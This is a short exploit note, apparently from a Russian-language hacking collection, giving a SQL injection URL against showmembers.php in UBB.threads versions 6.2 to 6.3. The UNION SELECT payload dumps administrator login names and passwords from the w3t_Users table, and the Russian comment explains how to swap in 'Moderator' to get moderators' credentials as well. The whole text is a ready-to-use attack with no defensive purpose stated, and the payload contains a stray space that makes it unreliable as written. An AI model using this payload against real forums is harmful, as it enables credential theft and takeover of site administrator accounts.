UBB.threads 6.2.*-6.3.* sql-injection:
http://[host]/showmembers.php?Cat=&like=1'%20union%20select%20U_ LoginName,0,0,U_Password,0,0,0%20from%20w3t_Users where U_Status='Administrator'/*
Выводим пассы всех админов... Заменяем Administrator на Moderator и получаем тоже тока для модеров.